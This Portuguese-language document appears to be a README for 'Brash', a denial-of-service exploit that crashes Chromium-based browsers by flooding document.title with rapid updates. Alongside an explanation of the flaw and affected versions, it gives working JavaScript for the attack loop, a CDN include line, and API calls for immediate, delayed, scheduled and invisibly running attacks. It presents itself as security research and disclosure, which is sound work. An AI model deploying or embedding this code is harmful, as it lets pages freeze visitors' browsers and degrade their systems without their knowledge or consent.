
Ataque DoS no Navegador Chromium via Exploração de document.title

Brash é uma vulnerabilidade crítica no Blink, o motor de renderização que alimenta os navegadores baseados em Chromium do Google. Ela permite que qualquer navegador Chromium colapse em 15-60 segundos ao explorar uma falha arquitetural na forma como certas operações do DOM são gerenciadas.
O vetor de ataque origina-se da ausência completa de limitação de taxa nas atualizações da API document.title. Isso permite injetar milhões de mutações no DOM por segundo e, durante essa tentativa de injeção, satura a thread principal, interrompendo o loop de eventos e causando o colapso da interface. O impacto é significativo: consome alto recurso de CPU, degrada o desempenho geral do sistema e pode interromper ou desacelerar outros processos em execução simultânea. Ao afetar navegadores Chromium em desktop, Android e ambientes incorporados, essa vulnerabilidade expõe mais de 3 bilhões de pessoas na internet a uma negação de serviço a nível de sistema.
STATUS: Operacional
VERSÕES AFETADAS: Chromium ≤ 143.0.7483.0 (testado: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] O exploit está atualmente operacional. Uma vez que a vulnerabilidade seja corrigida, este código deixará de funcionar. Independentemente disso, descobrir essa falha arquitetural e completar todo o processo de pesquisa, documentação e design para compartilhar algo impactante com o mundo tem sido uma jornada incrivelmente gratificante.
11 navegadores principais foram testados no macOS, Windows e Linux para validar o impacto da vulnerabilidade.
Todos os navegadores baseados em Chromium são vulneráveis porque a falha existe no núcleo do motor de renderização Blink:
Brash explora uma falha arquitetural fundamental no motor de renderização Blink: a ausência de limitação (throttling) nas atualizações de document.title. O ataque opera em três fases críticas:
Gera 100 strings hexadecimais únicas de 512 caracteres e as armazena na memória antes de iniciar o ataque.
Por que pré-carregá-las em vez de gerá-las em tempo real?
Porque gerar constantemente novas strings consome tempo de CPU em operações matemáticas. Esse tempo é crítico — cada milissegundo gasto gerando strings é tempo NÃO utilizado para bombardear o navegador com atualizações de document.title.
Ao ter 100 strings já carregadas na memória:
Como resultado, alcançamos velocidade máxima de injeção com consumo máximo de memória por atualização.
// Gera IDs únicos de alta entropia
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Executa rajadas configuráveis de atualizações de título. Com a configuração padrão (burst: 8000, interval: 1ms), tenta injetar aproximadamente 24 milhões de atualizações por segundo, e é durante essa tentativa que o colapso do navegador começa.
// Padrão de atualização tripla: maximiza o thrashing no pipeline de renderização
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Cada rajada executa 3 atualizações sequenciais
}
this.counter += 0x3;
}
As atualizações contínuas saturam a thread principal do navegador, impedindo o processamento de outros eventos:
Linha do tempo do colapso:
Por que funciona?
O Blink processa cada mudança de document.title de forma síncrona na thread principal, sem limitação de taxa. Isso cria um gargalo que:
Para entender completamente o impacto do Brash, você pode experimentar o exploit em diferentes contextos, desde uma demonstração ao vivo controlada até sua própria implementação. Cada opção é projetada para diferentes níveis de interação e entendimento técnico.
A maneira mais rápida de ver o Brash em ação. Visite https://brash.run
Para ver o exploit sem interface gráfica, visite https://brash.run/hidden-live-demo.html. Esta versão executa a injeção de forma invisível, simulando um ataque real.
Se preferir executar a demonstração em seu próprio ambiente, o diretório exploit-demo/ incluído no repositório permite que você:
Basta abrir exploit-demo/index.html em qualquer navegador Chromium e configurar os valores de burst e interval antes de iniciar.
Para integrar o Brash em seus próprios testes de segurança ou pesquisa, inclua o script e configure o ataque:
Inclua o script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Uso da API:
// 1. Ataque imediato
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Atraso em segundos (padrão)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 segundos
});
// 3. Atraso com strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // ou "5000ms" ou "3m"
});
// 4. Ataque programado
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Configurações de intensidade:
// Moderado: observação controlada
// Efeito: O navegador responde lentamente e permite observar a degradação gradual
Brash.run({
burstSize: 200,
interval: 1000 // ~600 atualizações/seg
});